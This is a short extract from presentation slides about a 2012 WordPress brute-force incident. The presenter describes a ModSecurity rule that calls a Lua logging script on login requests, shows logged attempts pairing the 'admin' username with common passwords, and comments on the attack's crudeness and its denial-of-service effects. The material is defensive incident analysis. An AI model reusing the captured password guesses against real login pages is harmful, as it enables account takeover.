  • 50. © 2012 The WordPress Incident (Script I re-used) I decided to put the “ueberlogger.lua” script to work. SecRule REQUEST_URI wp-login.php allow,exec:uberlogger.lua x.x.x.236 /wp-login.php ARGS:log=admin ARGS:pwd=1admin x.x.x.236 /wp-login.php ARGS:log=admin ARGS:pwd=admins x.x.x.236 /wp-login.php ARGS:log=admin ARGS:pwd=webmaster x.x.x.236 /wp-login.php ARGS:log=admin ARGS:pwd=password x.x.x.236 /wp-login.php ARGS:log=admin ARGS:pwd=111111 x.x.x.236 /wp-login.php ARGS:log=admin ARGS:pwd=naruto
  • 51. © 2012 The WordPress Incident (Data I got) Password list of the brute force Frequency of attacks against sites I controlled Passwords naruto pokemon 123456 admin Sitename123 etc... Correlated with the data from other researchers
  • 52. © 2012 The WordPress Incident (My Perspective) ● It was a brute force, but a lame one. ● It got press because hosts were going down. ● Evidence that WP auth mechanisms can cause DoS. ● WordPress is a buzzword for security press ● Read my article all about WP auth on the blog.spiderlabs.com :).
  • 53. © 2012 The WordPress Incident (My Perspective) ● It was a brute force, but a lame one. ● It got press because hosts were going down. ● Evidence that WP auth mechanisms can cause DoS. ● WordPress is a buzzword for security press ● Read my article all about WP auth on the blog.spiderlabs.com :).